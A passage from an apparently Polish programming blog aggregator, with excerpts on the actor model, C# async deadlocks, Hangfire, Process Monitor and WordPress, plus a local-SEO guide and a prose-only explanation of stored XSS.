spodziewamy się, wtedy metoda Tell powinna wyłącznie umieścić wiadomość w kolejce. Screenshot potwierdzający założenia: W następnym wpisie, zajmiemy się znów jakimś problemem wielowątkowym, który najpierw rozwiążemy w “klasyczny sposób” z użyciem blokad, a później za pomocą modelu aktor. Wyświetl pełny artykuł
  12. Recent Windows 10 update brought three new fields in the Process Environment Block structure: x86 Field Type Field Name x64 offset size offset size 0x250 0x004 uintptr_t TppWorkerpListLock 0x388 0x008 0x254 0x008 struct _LIST_ENTRY TppWorkerpList 0x390 0x010 0x25C 0x200 void*[128] WaitOnAddressHashTable 0x3A0 0x400 It seems that all three of them are not so new to […]Wyświetl pełny artykuł
  13. This post appeared previously on the Polish version of the blog. Due to the fact that it was popular, I decided to publish it in English. Do you know Font Awesome? I’m certain many of you do… and, if not, it’s worth to familiarise yourself with it! Just to be sure, it’s a library which... Czytaj dalej The post [EN] Font Awesome – an unusual way to use it appeared first on burczu programator. Wyświetl pełny artykuł
  14. Szukanie lokalizacji danej biblioteki może być skomplikowane. W zależności od skonfigurowanego binding’u, inne foldery są przeszukiwanie. Wyjątek jaki dostaniemy w przypadku braku jednej z bibliotek jest następujący: Could not load file or assembly 'nazwa' or one of its dependencies. The system cannot find the file specified. Problem stanowi druga część – “or one of its dependencies’. Wyjątek nie zawsze powie nam, której biblioteki brakuje nam. Jeszcze większe problemy natrafimy, gdy użyjemy natywnej referencji. Ostatnio miałem problemy z pewnym kodem i użyłem programu Process Monitor. Aplikacja może nie jest zbyt intuicyjna, ale pozwala w dość szybki sposób prześledzić wszystkie wiązania i brakujące biblioteki. Domyślnie pokazuje wszystkie procesy, zatem po jej odpaleniu, ustawiłem filtr pokazujący wyłącznie program, który chcę przeanalizować (w tym przypadku ConsoleApplication6.exe). Z menu głównego wybieramy Filter->Filter…: Ponadto ustawiłem dwa dodatkowe filtry. Jeden, wyświetla wyłącznie zdarzenia, które w rezultacie mają “NAME NOT FOUND”. Drugi filtr wyświetli wyłącznie wpisy, w których ścieżka kończy się na “dll”. Przykład: Dzięki temu, łatwiej będzie nam przeanalizować wszystkie zdarzenia, które mają miejsce w danym procesie. Bez tego, ciężko byłoby wszystko zrozumieć. Po uruchomieniu ConsoleApplication6, Process Monitor powie nam, których bibliotek nie udało załadować się: W tym przypadku (nie trudno domyślić się, sztucznie stworzonym) brakuje ClassLibrary2. W prawdziwych systemach, zwykle mamy bardzo wiele zależności i nie jest wtedy już to takie proste do zgadnięcia bez Process Monitor. Wyświetl pełny artykuł
  15. These days we have a lot of frameworks, libraries and tools available to help us in the development process. This is especially apparent in the front-end development world where GitHub repositories are full of solutions which support our work. It’s no wonder that someone less experienced could feel lost among all those available options… That’s... Czytaj dalej The post [EN] Modern front-end development technology stack appeared first on burczu programator. Wyświetl pełny artykuł
  16. W ostatnim wpisie przedstawiłem zasadę działania modelu aktor. Zachęcam do przeczytania poprzedniego wpisu ponieważ dzisiaj skupię się na przykładzie, a nie podstawach teoretycznych. Jeśli poprzedni wpis nie był do końca zrozumiały, zachęcam do przeanalizowania przykładu z tego wpisu i potem powrócenia do poprzedniego postu – wtedy myślę, że wiele zagadnień będzie prostsze w zrozumieniu. Poniższe przykłady należy stanowić jako pseudokod. Stanowią one szkic wzorca aktor, a nie jego implementację. Do implementacji w kolejnych wpisach będę używał akka.net, ale moim zdaniem najważniejsze jest zrozumienie zasad, a nie nauczenie się kolejnego framework’a. Z tego względu, bardziej będę skupiał się na rozwiązywaniu różnych problemów wielowątkowych (np.problem ucztujących filozofów), a nie dokumentacji API. Załóżmy, że chcemy rozwiązać klasyczny problem przelewu pieniędzy z jednego konta na drugie. W najprostszej postaci, będziemy mieli następującą klasę: class BankAccount { private int _Balance; public void Deposit(int amount) { _Balance += amount; } public void Withdraw(int amount) { if (amount <= _Balance) _Balance -= amount; else throw new ArgumentOutOfRangeException(); } } Oczywiście powyższy kod nie jest thread-safe, dlatego należy użyć blokady: class BankAccount { private int _Balance; private object _sync=new object(); public void Deposit(int amount) { lock(_sync) { _Balance += amount; } } public void Withdraw(int amount) { lock(_sync) { if (amount <= _Balance) _Balance -= amount; else throw new ArgumentOutOfRangeException(); } } } Kolejne zadanie to przetransferowanie pieniędzy z jednego konta na drugie. Klasyczne, błędne rozwiązanie to: lock(accountA) { lock(accountB) { accountA.Withdraw(5); accountB.Deposit(5); } } Oczywiście powyższy kod zakończy się deadlock, jeśli w tym samym czasie będziemy chcieli przelać pieniądze z konta A do B oraz z B do A. Prawidłowe rozwiązanie to np. sortowanie blokad, przedstawione tutaj. Wróćmy jednak do wzorca aktor. Stanowi on po prostu wyższy poziom abstrakcji dla wątków. Z poprzedniego wpisu wiemy, że aktorzy komunikują się za pomocą wiadomości, tak jak np. instancje w systemie kolejkowym. Zdefiniujmy zatem dwie wiadomości, dla depozytu i wycofywania środków: public class DepositMessage { public int Amount { get; } public DepositMessage(int amount) { Amount = amount; } } public class WithdrawMessage { public int Amount { get; } public WithdrawMessage(int amount) { Amount = amount; } } Proszę zauważyć, że są one immutable – zawsze chcemy uniknąć współdzielenia stanu między różnymi aktorami. Następnie aktor, będzie obsługiwał wiadomości w sposób asynchroniczny: class BankAccountActor { private int _balance; public void OnReceive(object message) { if (message is WithdrawMessage) { var withdrawMessage = ((WithdrawMessage)message); if (withdrawMessage.Amount <= _balance) _balance -= withdrawMessage.Amount; } if (message is DepositMessage) { _balance += ((DepositMessage)message).Amount; } } } Metoda OnReceive będzie wywoływana przez framework, w momencie otrzymania konkretnej wiadomości. Jak wspomniałem, przypomina to klasyczny system kolejkowy, ale OnReceive zawsze MUSI być wykonywane jedno po drugim. Jeśli dwie wiadomości przyjdą w tym samym czasie, mamy zagwarantowane, że OnReceive nie będzie wykonywane równocześnie z dwóch różnych wątków. Obsługa zatem może wyglądać następująco: while(true) { var message = blockingCollection.Dequeue(); actor.OnReceive(message); } Z tego względu, nie musimy umieszczać w tych metodach żadnych blokad (brak współdzielonego stanu). Następnie chcemy mieć możliwość transferu środków z jednego konta do drugiego. Zdefiniujmy zatem kolejną wiadomość: class TransferMessage { public string From { get; } public string To { get; } public int Amount { get; } public TransferMessage(string from, string to, int amount) { From = @from; To = to; Amount = amount; } } Aktorzy mogą tworzyć hierarchie, w której jeden aktor zarządza kolejnymi. W naszym przypadku będziemy mieli dwa typy aktorów: TransferMoneyActor oraz BankAccountActor. Pierwszy z nich służy do koordynowania przepływu środków. Najpierw implementujemy obsługę wiadomości TransferMessage: class TransferActor { public void OnTransferMessageReceived(TransferMessage transferMessage) { ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount)); Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount)); } W momencie otrzymania TransferMessage, zostanie wysłana wiadomość do aktora, który reprezentuje konto nadawcy. Pamiętajmy, że wszystkie operacje są asynchroniczne, zatem stanowią model “fire&forget”. TransferActor jednak musi dowiedzieć się, czy środki zostały prawidłowo zdjęte z konta nadawcy. Z tego względu, jedną z bardzo ważnych właściwości aktorów jest zmiana kontekstu. W powyższym przykładzie chcemy zmienić kontekst w tryb oczekiwania na odpowiedź od nadawcy. Służy zwykle do tego metoda “Become”. Aktor zatem staje się aktorem oczekującym na odpowiedź od nadawcy. Odpowiedź przyjdzie oczywiście w formie kolejnej wiadomości: class MoneyWithdrawn { public ActorRef ActorRef { get; } public int Amount { get; } public MoneyWithdrawn(ActorRef actorRef,int amount) { ActorRef = actorRef; Amount = amount; } } Następnie w momencie potwierdzenia wycofania pieniędzy, możemy wysłać wiadomość w celu umieszczenia środków na innym koncie: class TransferActor { public void OnTransferMessageReceived(TransferMessage transferMessage) { ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount)); Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount)); } public void AwaitFrom(string from, string to, int amount) { ActorsSystem.GetActor(to).Send(new DepositMessage(amount)); Context.Became(AwaitTo(transferMessage.From, transferMessage.To, transferMessage.Amount)); } Analogicznie, aktor przechodzi w kolejny stan, oczekiwania na potwierdzenie złożenia depozytu. Potwierdzenie przyjdzie w formie kolejnej wiadomości: class TransferActor { public void OnTransferMessageReceived(TransferMessage transferMessage) { ActorsSystem.GetActor(transferMessage.From).Send(new WithdrawMessage(transferMessage.Amount)); Context.Become(AwaitFrom(transferMessage.From,transferMessage.To,transferMessage.Amount)); } public void AwaitFrom(string from, string to, int amount) { ActorsSystem.GetActor(to).Send(new DepositMessage(amount)); Context.Became(AwaitTo(transferMessage.From, transferMessage.To, transferMessage.Amount)); } public void AwaitTo(string from, string to, int amount) { Context.Finished(); } Widzimy, że każda operacja jest atomowa (pod warunkiem, że przetwarzanie wiadomości nie jest współbieżne). To bardzo ważna cecha systemów opartych na aktorach – należy rozszerzać hierarchie o tyle poziomów, aby konkretne zadanie było łatwe w implementacji. Przez “łatwe” mam na myśli sytuację, w której nie musimy korzystać z blokad. Model dla prostych problemów (takich jak powyższy) jest moim zdaniem zła praktyką i przykładem over-engineering’u. Dla bardziej skomplikowanych problemów, znacząco to ułatwia zapobiegnięcie zakleszczeniom. Tak jak wspomniałem, aktor to pewien poziom abstrakcji. Ta abstrakcja daje nam ogromne możliwości skalowania – od problemu rozwiązywanego współbieżnie na np. 4 procesorach do środowiska opartego na wielu komputerach połączonych w sieć. Jeśli aktor jest abstrakcyjny, nic nie stoi na przykładzie, aby umieścić go na osobnym komputerze i przesyłać wiadomości za pomocą TCP. Jak widać, można skalować rozwiązanie od jednego procesu po wiele usług webowych komunikujących się dowolnymi sposobami (HTTP, systemy kolejkowy, TCP itp.). Użycie prostej blokady jest dobre, ale nie posiada żadnej abstrakcji – ogranicza nas do jednego procesu. Wyświetl pełny artykuł
  17. Do testów motywów czy wtyczek używam danych testowych, ale tym razem potrzebowałem zmieniać daty wpisom. Ponieważ ręczne zmiany nie wchodziły w grę, to musiałem napisać kawałek SQLa: UPDATE wp_posts SET post_date = '2015-01-01' + INTERVAL rand()*300 DAY + INTERVAL rand()*6000 SECOND ; Powyższy kod całkowicie wystarcza, żeby „pomieszać” dowolnej liczbie wpisów datę publikacji.Wyświetl pełny artykuł
  18. W kolejnych wpisach chciałbym opisać framework akka.net. Zanim jednak przejdę do opisu API, warto poświęcić chwilę (myślę, że około dwa wpisy) na zasadę działania “actor model”. Aktor jest modelem budowania aplikacji wielowątkowych. Powstał w celu ułatwienia synchronizacji między różnymi wątkami. Programiści piszący aplikacje wielowątkowe zwykle korzystają z klasycznych blokad (lock) w celu opisania sekcji krytycznej. W wielu sytuacjach jest to najlepszy i najprostszy sposób. Niestety dla dużych i skomplikowanych systemów, utrzymywanie takiego kodu jest bardzo trudne, mozolne i niezwykłe podatne na powstanie deadlock lub livelock. Dzięki odpowiedniemu podziałowi kodu, można uniknąć powyższych problemów na poziomie projektu klas. Wspomniany aktor to nic innego jak klasa, która spełnia pewne wymagania: – przechowuje stan (zawiera np. pola lub właściwości) – implementuje logikę (zawiera zatem metody) – jest reprezentowana przez wątek – komunikuje się z innymi aktorami za pomocą asynchronicznych wiadomości – wiadomości nie mogą być modyfikowalne (zatem są “immutable”). – aktor może przetwarzać wyłącznie jedną wiadomość danym momencie – pozostałe są kolejkowanie – stan aktora nie może być modyfikowany bezpośrednio przez zewnętrzne obiekty Myślę, że to najważniejsze właściwości modelu. W świecie C#, aktor będzie zatem klasą wykonywaną na osobnym wątku albo zadaniu (task – TPL). Taka klasa nie będzie eksponowała setter’ów. Wszystkie właściwości mogą być tylko do odczytu. Musimy zagwarantować, że aktor nie jest modyfikowany przez cokolwiek innego. Stan aktora za to może być modyfikowany przez niego samego. Kluczową rolę pełnią tutaj asynchroniczne wiadomości. Jeśli ktoś jest zaznajomiony z nServiceBus czy nawet opisanym w zeszłym tygodniu Hangfire, powinien rozumieć systemy kolejkowe. W najprostszej postaci, wspomniana klasa (aktor) będzie zawierała kolekcję odebranych wiadomości. Następnie w wątku, będą one zdejmowane i przetwarzane jedna po drugim. Konieczne jest, aby dany aktor, przetwarzał wyłącznie jedną wiadomość w dowolnym czasie. Dzięki temu, nie musimy martwić się o synchronizację. Mamy zagwarantowane zatem: – jeden aktor to wyłącznie jeden wątek – stan aktora nie jest modyfikowany na zewnątrz – żadne blokady nie są wymagane. To bardzo ułatwia pracę. Nie musimy korzystać z żadnych blokad, ponieważ dany kod jest wykonywany wyłącznie przed jeden wątek. Sekcje krytyczną zastąpiono zatem asynchronicznymi wiadomościami. Jeśli wątek A chce odczytać albo zmienić stan wątku B, wykonuje to przez asynchroniczne wiadomości. Zwykle systemy tworzą hierarchie aktorów, uformowane w postaci drzew. Każdy aktor może mieć swojego rodzica (zarządcę). Zwykle dany problem rozbija się na taką liczbę aktorów, aby pojedynczy aktor mógł wykonywać kod bez żadnej synchronizacji. Jeśli dany problem składa się z operacji wymagających sekcji krytycznych, wtedy rozdzielamy go jeszcze bardziej, tworząc kolejny poziom w drzewie aktorów. Najtrudniejszym element w wielowątkowości jest modyfikacja stanu współdzielonego. W przypadku aktorów, takiego stanu po prostu nie ma. Każdy aktor pracuje niezależnie od siebie. Jeśli dane jednego aktora potrzebne są przez drugiego, przesyłane są w formie niemodyfikowalnych, asynchronicznych wiadomości. Dla prostych problemów, model może okazać się zbyt skomplikowany. Czasami łatwiej jest stworzyć sekcję krytyczną w formie blokady, niż implementować kilka klas komunikujących się za pomocą wiadomości. W przyszłym poście, pokażę realny problem, zaimplementowany najpierw za pomocą blokady lock, a potem w w postaci aktorów. Wyświetl pełny artykuł
  19. TL;DR: Odbędzie się na XIII spotkaniu Technology Risk & Information Security Forum Wrocław, które odbędzie się 19 listopada 2015 o godzinie 17:45 w budynku Credit Suisse Green Day przy ulicy Szczytnickiej 9 we Wrocławiu. Rejestracja - click, informacja na stronie grupy - click. Liczba miejsc jest niestety ograniczona, więc FCFS / RSVP. Do zobaczenia we Wrocławiu! Pełna wiadomość od organizatora: Zapraszamy serdecznie na XIII spotkanie Technology Risk & Information Security Forum Wrocław, które odbędzie się 19 listopada 2015 o godzinie 17:45 w budynku Credit Suisse Green Day przy ulicy Szczytnickiej 9 we Wrocławiu. Prosimy o punktualność! W ramach rozgrzewki Borys Łącki przedstawi Security News, czyli najnowsze wieści z branży. Dalsza część będzie wyjątkową okazją do spotkania z Gynvaelem Coldwindem, światowej klasy ekspertem bezpieczeństwa komputerowego i autorem książki "Zrozumieć Programowanie". W programie między innymi: ● Prelekcja "O książce, o programowaniu, o bezpieczeństwie" ● Sesja Q&A Gynvael Coldwind – programista-pasjonat, z zamiłowaniem do bezpieczeństwa komputerowego i niskopoziomowych aspektów informatyki, a także autor popularnego bloga, licznych artykułów, publikacji, podcastów oraz wystąpień poświęconych tym tematom. W roku 2013 odebrał w Las Vegas (wspólnie z Mateuszem Jurczykiem) nagrodę Pwnie Award w kategorii Najbardziej Innowacyjne Badania Naukowe z dziedziny bezpieczeństwa komputerowego, przyznaną za wspólną pracę pt. Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns. Kapitan i współzałożyciel zespołu „Dragon Sector”, jednej z najlepszych drużyn Security CTF na świecie. Od 2010 roku mieszka w Zurychu, gdzie pracuje dla firmy Google jako Senior Software Engineer / Information Security Engineer. Z uwagi dużą liczbę spodziewanych uczestników, prosimy wszystkich o wcześniejszą rejestrację: http://goo.gl/tL7Ljm Ułatwi nam to przygotowanie odpowiedniej liczby miejsc. Pozdrawiam, W imieniu organizatorów spotkania grupy Technology Risk & Information Security Wrocław Łukasz Z mojej strony wielkie podziękowania dla grupy Technology Risk & Information za zorganizowanie spotkania! W szczególności podziękowania kieruje do Artura oraz Łukasza, którzy są moim punktem kontaktowym :) Do zobaczenia we Wrocławiu!Wyświetl pełny artykuł
  20. Coraz więcej API dostarcza asynchroniczne wersje metod. Niektóre z nich, idą o krok dalej i w ogóle nie posiadają synchronicznej wersji. Załóżmy, że zewnętrzna biblioteka ma następującą metodę: async Task<string> FetchDataAsync() {...} Często jednak nie potrzebujemy korzystać z wersji async i tylko ona komplikuje sprawę. W powyższym przypadku moglibyśmy pokusić się o: string data=dataProvider.FetchDataAsync().Result; Console.WriteLine(data); Niestety powyższy kod może być niebezpieczny i wywołać w niektórych sytuacjach deadlock. Jeśli nie wiemy, jak została zaimplementowana metoda FetchDataAsync bardzo łatwo popełnić błąd. Załóżmy, że ciało metody wygląda następująco: public async Task<string> FetchDataAsync() { await DoSomethingAsync(); return "Hello World"; } private Task DoSomethingAsync() { return Task.Run(() => Thread.Sleep(2000)); } Kiedyś na blogu pokazywałem już podobny przykład odnoście wydajności async\await. Jeśli wywołujemy await, pobierany jest kontekst przed wejściem w nowy wątek. Dzięki temu, po zakończeniu wątku, czyli w momencie wyjścia z await, wiadomo jaki wątek powinien kontynuować operację. Wynika to z faktu, że w większości przypadków, użytkownik spodziewa się, że wątek przed await i po jest taki sam. Rozważmy kod: string data = await GetInfo(); _textBox.Text = data; Gdyby po wyjściu await, kontekst wykonywania nie przechodził w ten przed wywołaniem wątku, wtedy aktualizacja interfejsu nie powiodłaby się – zawsze należy go aktualizować z wątku głównego. Wracając do przykładu z deadlock. W celu powrócenia do wątku głównego, po wywołaniu “await DoSomethingAsync();”, należy oczywiście uzyskać do niego dostęp. Problem w tym, że będzie on ciągle zajęty. Wywołanie “string data=dataProvider.FetchDataAsync().Result;” blokuje wątek główny do momentu zakończenia operacji. Operacja oczywiście nigdy nie zakończy się ponieważ czeka ona na na dostęp do wątku głównego blokowanego przez “Task.Result”. Zachowanie różni się w zależności od typu aplikacji. W przypadku aplikacji konsolowej, nie ma kontekstu synchronizacyjnego (TaskScheduler) więc operacja nie zakończy się deadlock’iem. Jeśli piszemy np. aplikację ASP.NET lub WPF wtedy doświadczymy opisanych wyżej problemów. Istnieje możliwość wyłączenia mechanizmu powracania do poprzedniego kontekstu. Służy do tego ConfigureAwait(false); public async Task<string> FetchDataAsync() { await DoSomethingAsync().ConfigureAwait(false); return "Hello World"; } Po wywołaniu ConfigureAwait(false) nie będziemy mieli problemów z deadlock, ponieważ żaden kontekst nie będzie pobierany. Oczywiście nie jest to eleganckie rozwiązanie. ConfigureAwait jest jednak bardzo przydatny ze względów wydajnościowych – np. gdy w pętli wywołujemy await, wtedy zwykle nie ma sensu pobierać kontekstu. Jeśli zatem wywołujemy metodę async, powinniśmy używać await, inaczej istnieje duże ryzyko, że kod po prostu zawiesi się. Wyświetl pełny artykuł
  21. Na jednej z grup na FB Artur opisał następujący problem: Mam na swoim blogu szablon i wszystko byłoby w porządku gdyby nie problem z datą – wyświetla mi ją jako MM.DD.RRRR, a chciałbym by pokazywało ją po naszemu. W opcjach mam ustawione wyświetlanie daty na „3 listopada 2015”. Szybka analiza motywu ujawniła, że na format daty, podany jest na sztywno w jednym z plików motywu w taki sposób: get_the_date('m.d.Y');. Dokładne sprawdzenie wykluczyło możliwość … Czytaj dalej Filtr dnia: get_the_dateWyświetl pełny artykuł
  22. W jednym z poprzednich wpisów, pokazałem jak prawidłowo tworzyć wątki w tle w celu wykonania jakieś czasochłonnej operacji w ASP.NET. Pod wpisem, Michal Dymel zaproponował narzędzie o nazwie Hangfire. Muszę przyznać, że framework jest bardzo prosty w użyciu i nie ma zbyt wiele zewnętrznych zależności. Od kilku tygodni korzystam z niego w jednym ze swoich projektów i nie miałem żadnych problemów z konfiguracją czy wdrążaniem rozwiązania w system produkcyjny. Po kolei jednak… Hangfire służy do wykonywania czasochłonnych operacji w ASP.NET. Dostarcza zatem model “fire&forget”, czyli bardzo prostą implementację systemu kolejkowego. Jeśli zaplanowane zadanie niepowiedzie się (np. timeout), wtedy zostanie automatycznie kilkakrotnie razy powtarzane, w różnych odstępach czasu (tak jak w nServiceBus). Wiemy, że IIS może zamknąć proces w dowolnym momencie, kończąc tym samym wszystkie zadania, które były wykonywane w tle. Dzięki Hangfire, nie musimy się martwić o wznawianie takiej operacji. Zaplanowane zadania, przechowywane są w bazie danych, np. SQL Server czy Redis. Istnieje możliwość zaimplementowania własnego repozytorium, ale jest to dość skomplikowane. Ponadto, Hangfire dostarcza bardzo przyjazny interfejs użytkownika. Instalacja jest bardzo prosta – wystarczy zainstalować poniższy pakiet NuGet: Install-Package HangFire Następnie w Owin startup, umieszczamy: public class Startup { public void Configuration(IAppBuilder app) { GlobalConfiguration.Configuration .UseSqlServerStorage(@"Server=PIOTR\SQLEXPRESS;Database=HangfireDb;Trusted_Connection=True;"); app.UseHangfireDashboard(); app.UseHangfireServer(); } } Powyższy przykład bazuje na SQL Server jako repozytorium zadań. Hangfire sam stworzy wymaganą strukturę tabel. Po uruchomieniu aplikacja, baza danych zostanie zainicjalizowana następującymi tabelami: W celu zaplanowania zadania, które wykonuje się o określonym czasie wystarczy: RecurringJob.AddOrUpdate("Nazwa zadania",() => Console.WriteLine("Zaplanowane zadanie...."),Cron.Minutely); Zwykle powyższy kod umieszcza się w Startup. Możemy przekazać jako parametr dowolne wyrażenie CRON. Hangfire zadba, aby zadanie wykonywało się o określonych porach oraz zostało wznawiane w przypadku recycling dokonywanego przez IIS. Możemy również dodać zadanie do kolejki, jeśli chcemy, aby zostało wykonane tylko raz: BackgroundJob.Enqueue( () => Console.WriteLine("Test")); Dużym udogodnieniem jest dostarczenie UI w formie dashboard. Przechodząc na stronę /hangfire (np. http://localhost:63486/hangfire), zobaczymy diagram pokazujący liczbę wykonanych zadań w ciągu ostatniego tygodnia lub dnia: W zakładce “Recurring tasks” zobaczymy nasze zaplanowane zadania: Mamy szybki i łatwy podgląd, kiedy ostatnio zadanie zostało wykonywane i z jaką częstotliwością będzie wykonywane. Przechodząc do zakładki Jobs, zobaczymy listę dostępnych kolejek: Widzimy, że aktualnie mamy 9 zadań w “Succeeded”. Hangfire zadba o tym, aby nie zapychać powyższych kolejek i każdego dnia niepotrzebne wpisy zostają usuwane. Przechodząc do jakiejkolwiek kolejki, możemy przyjrzeć się szczegółom wykonanemu zadaniowi: Załóżmy, że nasze zadanie teraz będzie wyrzucało wyjątek: public class Startup { public void Configuration(IAppBuilder app) { GlobalConfiguration.Configuration .UseSqlServerStorage(@"Server=PIOTR\SQLEXPRESS;Database=HangfireDb;Trusted_Connection=True;"); app.UseHangfireDashboard(); app.UseHangfireServer(); RecurringJob.AddOrUpdate("Nazwa zadania", () =&gt; SampleTask(), Cron.Minutely); } private static void SampleTask() { throw new NotImplementedException(); } } W zakładce Retries zobaczymy wtedy wpis informujący nas, że zadanie nie zostało wykonywane i Hangfire próbuje je wykonywać powtórnie: Oczywiście po pewnym czasie, gdy próby nie przyniosą efektu, zadanie zostanie na stałe przeniesione do “Failed” (gdzie ręcznie możemy wznowić wykonywanie). Przechodząc do szczegółów zadania, zobaczymy informacje o wyjątku: Ponadto HangFire integruje się z popularnymi loggerami (np. nLog, log4net) i jakiekolwiek logi wykonane przez Hangfire będą widoczne w naszych logach. Nic nie trzeba konfigurować – Hangfire automatycznie wykryje, aktualnie wykorzystywanego w systemie loggera. Wyświetl pełny artykuł
  23. Posted by ImprezzioMarketing Local SEO can be confusing for those businesses that don’t have a physical store for customers to walk into. Unlike businesses with a brick-and-mortar storefront, service-area businesses (or SABs) go out to meet with their customers, as opposed to their customers coming to see them. This often results in them servicing multiple cities, which can be problematic—the #1 ranking factor in local SEO is the physical address of the business. In addition, business owners are also usually concerned about privacy, as many of them use their home address and can’t utilize some of the features that Google offers small businesses (like Indoor Street View). This guide will show you how you can maximize your presence on Google and reach more people in your local market. 1. Figure out which address you're going to use.As a service-area business, you only have a couple options. Here are some best practices: If you have an office, use that for your business address everywhere online.If you have no office but you have a business partner(s), use the home address for the person who lives closest to the major area that you service.Use the address you registered with for your business everywhere. Think of the address you put on your bank business loan, the address you used for registering for your business telephone line/cell phone, the address you provided when you bought a business vehicle or equipment. These are the addresses that are going to populate online via data providers later in the future, and they'll give you a possible headache if they don’t match what you used as your address in Google My Business (GMB).2. Decide if you need to hide your address or not.Hiding your address means that Google will know where you are (for verification), but users will not see your address publicly on Google. You should always hide your address if you're using your home address (unless customers actually show up there). If your customers do visit your home address, it needs to be blatantly obvious on your website. You should: List driving directions,Invite people to come visit, and Include photos of your home office.You should hide your address if you have an office, but no one is actively staffing it during the day. If a person walked in at 2pm during a work day, would your door be locked with no one there? If so, hide your address. If you have an office that is actually staffed, you should leave it unhidden. Flash from the MapMaker Top Contributor team wrote up a great guide that shows you how to hide your address and the rules that Google has about this. 3. Decide if a public address is okay elsewhere online.If you fall into the majority of SABs that need to hide their address, decide if you're okay publicly listing your address on other websites. My advice is to always list your full address everywhere else online (other than Google My Business), including your website, Facebook page, Yellowpages listing, and so on. If you insist on not listing your home address anywhere, that’s okay, but know that you will run into some missed opportunities. There are still many local directories that require an address to be listed. Phil Rozek wrote a great summary of places you can list your business with a hidden address. 4. Think about how you should list the area you service.In Google My Business, you can select which areas you service. You can do this by adding either zip codes or the names of the cities you service. It's good to note that what you select here will determine how your business radius and marker will show up on Google Maps. If you choose a ton of cities and zip codes, Google will attempt to find the center of them and put your marker there. The result isn’t always ideal. Keep in mind that the service areas you select have no impact on your ranking there. It’s extremely unlikely that you will rank in the local pack outside the town your address is in. 5. Do a thorough check for duplicate listings on Google.The best option for a service-area business is to head to Google and type in this query (with the quotations). Replace the dummy phone number with your actual one:“plus.google.com” “999-999-9999” “about” “review” Go to the end of the URL string in your browser (it starts with “google.com…”) and add &filter=0Record a list of all the listings you find (they will all start with “plus.google.com” and repeat those 2 steps for every phone number that might be associated with your business. Make sure you check your home phone & cell phone.Once you have your list of existing listings, make sure you deal with all the duplicates appropriately.If your duplicate listings had inconsistencies and used different phone numbers, websites, or addresses than the one you have provided to Google, make sure you search Google for other online references to that information and update it there, as well.6. Do a local search on Google for a few keywords in the town your address is in and see who your competitors are.Look for competitors that either have multiple listings (which is not allowed) or that are using keyword stuffing in their business name. Typically, more spam exists for service-area businesses than for businesses with storefronts. Locksmiths are known in the local SEO world as being the most-spammed business category. Submit an edit for these listings through Google Maps to remove the keyword stuffing. If the competitor is a service-area business with multiple listings, you can report the duplicates through Google Maps. As per the guidelines, a service-area business is not allowed to have multiple listings. The only exception would be if they had multiple offices where customers could actually show up. 7. Consider expanding your open hours. Service-area businesses with hidden addresses have the advantage of listing the hours that they're available to answer the phone. Businesses with storefronts are supposed to list the actual hours that customers can show up at their front door and get service. If they have a 24-hour call center, they are still not allowed to list themselves that way unless they're someone like McDonald's, with a 24-hour drive-through. Service-area businesses avoid this rule because they have no physical storefront, so their open hours are the equivalent of the hours that they answer the phone. With Google’s new hours display in the search results, having longer open hours could result in a lot more calls. 8. Come up with a really great content strategy for the areas you target outside of the city your address is in.Generally, you will only rank in the local pack for the city that your address is in. If your home address isn't in the city that your primary book of business is in, this can be concerning. Other than setting up offices in different cities (real ones, not virtual ones), your best option is to target long-tail keywords & the organic section of Google using really great content. Here are some tips for ways to generate good content: Create pages/articles about the different jobs you do. If you are a home remodeler in the Denver, CO area but do jobs in the entire metro area, you could create a page for different jobs you did in Parker, CO. On that page, you could put before & after pictures of the job, a description of the job, details about the neighborhood you did it in, a testimonial from the customer, and so on and so forth.Create how-to videos for your industry. If you’re a tree service business, you could create a video on how to prune a maple tree (think long-tail and get specific). Post the video on YouTube and use their transcription service to transcribe the entire thing as well. In the description, include the full name, address & phone number of your business along with a link back to your website.Use a service like Nearby Now to help automate this process.If you're a contractor, create a useful page on your site for each town with safety information, emergency contacts or places to get permits.Technically, I could continue to add a hundred more items to this list—for now, I wanted to focus on the major starting points that will help a service-area business start out on the right track. If you have questions, please let me know in the comments! Sign up for The Moz Top 10, a semimonthly mailer updating you on the top ten hottest pieces of SEO news, tips, and rad links uncovered by the Moz team. Think of it as your exclusive digest of stuff you don't have time to hunt down but want to read! Wyświetl pełny artykuł
  24. W poprzednim poście skupiłem głównie się na reflected CSS, ale wspomniałem również o stored XSS. Zasada działania ataków typu “Stored xss” jest bardzo prosta – wstrzyknięty kod jest przechowywany w bazie danych. Oznacza to, że potencjalny atak może zostać wykorzystany przeciwko jakiemukolwiek użytkownikowi odwiedzającemu stronę. W przypadku reflected xss sami musieliśmy zadbać o to, aby ktoś odwiedził stronę z spreparowanymi przez nas danymi. Z tego względu stored xss (persistent xss) jest dużo bardziej niebezpieczny i większość współczesnych stron lub aplikacji internetowych posiada funkcjonalności, które potencjalnie mogą być podatne na XSS. Jeśli tylko aplikacja zawiera jakieś interaktywne elementy, np. służące do personalizacji strony lub wprowadzania nowej zawartości, wtedy warto zastanowić się czy autorzy przewidzieli, że dane pochodzące od użytkowników mogą zawierać złośliwy kod JavaScript. Ten typ ataku często nazywany jest również “second-order xss”. Dlaczego? W celu poprawnego przeprowadzania ataku, możemy naszkicować dwa etapy: Atakujący wstrzykuje złośliwy kod JavaScript np. w formie komentarza na stronie internetowej. Wstrzyknięty kod może zawierać np. pokazany w poprzednim wpisie JS pobierający ciasteczka zawierające identyfikator sesji. Osoba odwiedzające stronę, otwiera komentarze, tym samym wykonuje kod odczytujący i wysyłający identyfikator sesji do serwera pod kontrolą osoby atakującej. Po etapie drugim, identyfikator sesji zostaje skradziony. Skala takiego ataku jest ogromna – można przechwytywać sesje dowolnej osoby, która aktualnie odwiedza stronę. Co gorsze, osoba odwiedzające taką stronę jest kompletnie nieświadoma co się właśnie stało. W przypadku Reflected XSS, należy przekonać kogoś do odwiedzenia spreparowanego zapytania. Sam ten fakt, powinien być już podejrzany dla jakiekolwiek użytkownika. W przypadku Stored XSS, nie trzeba wykonywać nic podejrzanego – wystarczy wejść po prostu na zaatakowaną stronę, która niczym nie różni się (przynajmniej z wierzchu) od tej bez wstrzykniętego XSS. Trzecim typem ataku jest tzw. ‘DOM-based XSS”. Różni się on od dwóch pierwszych tym, że wstrzyknięcie następuje po stronie klienta, a nie 